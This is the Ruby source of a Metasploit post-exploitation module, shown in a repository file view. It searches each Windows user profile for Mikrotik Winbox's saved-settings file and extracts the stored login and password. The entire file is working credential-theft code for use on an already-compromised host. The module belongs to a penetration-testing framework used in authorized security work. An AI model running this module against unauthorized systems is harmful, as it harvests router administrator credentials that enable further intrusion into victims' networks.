dc6d84d823
Co-authored-by: Brendan <bwatters@rapid7.com>
84 lines
2.2 KiB
Ruby
84 lines
2.2 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
|
|
include Msf::Post::Common
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::UserProfiles
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Gather Mikrotik Winbox "Keep Password" Credentials Extractor',
|
|
'Description' => %q{
|
|
This module extracts Mikrotik Winbox credentials saved in the
|
|
"settings.cfg.viw" file when the "Keep Password" option is
|
|
selected in Winbox.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['Pasquale \'sid\' Fiorillo'], # www.pasqualefiorillo.it - Thanks to: www.isgroup.biz
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter', 'shell', 'powershell'],
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => []
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
def run
|
|
print_status('Checking Default Locations...')
|
|
grab_user_profiles.each do |user|
|
|
next if user['AppData'].nil?
|
|
|
|
check_appdata(user['AppData'] + '\\Mikrotik\\Winbox\\settings.cfg.viw')
|
|
end
|
|
end
|
|
|
|
def check_appdata(path)
|
|
if file_exist?(path)
|
|
print_good("Found File at #{path}")
|
|
data = read_file(path)
|
|
if datastore['VERBOSE']
|
|
print_hexdump(data)
|
|
end
|
|
parse(data)
|
|
|
|
else
|
|
print_status("#{path} not found ....")
|
|
end
|
|
end
|
|
|
|
def file_data; end
|
|
|
|
def print_hexdump(data)
|
|
index = 0
|
|
while index < data.length
|
|
chunk = data[index, [16, data.length - index].min]
|
|
hex_chunk = chunk.each_byte.map { |b| sprintf('%02x', b) }.join(' ')
|
|
ascii_chunk = chunk.gsub(/[^[:print:]]/, '.')
|
|
print_status("#{hex_chunk.ljust(48)} #{ascii_chunk}")
|
|
index += 16
|
|
end
|
|
rescue StandardError => e
|
|
print_error("An error occurred: #{e.message}")
|
|
end
|
|
|
|
def parse(data)
|
|
login = data.match(/\x00\x05login(.*)\x08\x00/)
|
|
print_good("Login: #{login[1]}")
|
|
|
|
password = data.match(/\x00\x03pwd(.*)\x0B\x00/)
|
|
print_good("Password: #{password[1]}")
|
|
rescue StandardError => e
|
|
print_error("An error occurred: #{e.message}")
|
|
end
|
|
|
|
end
|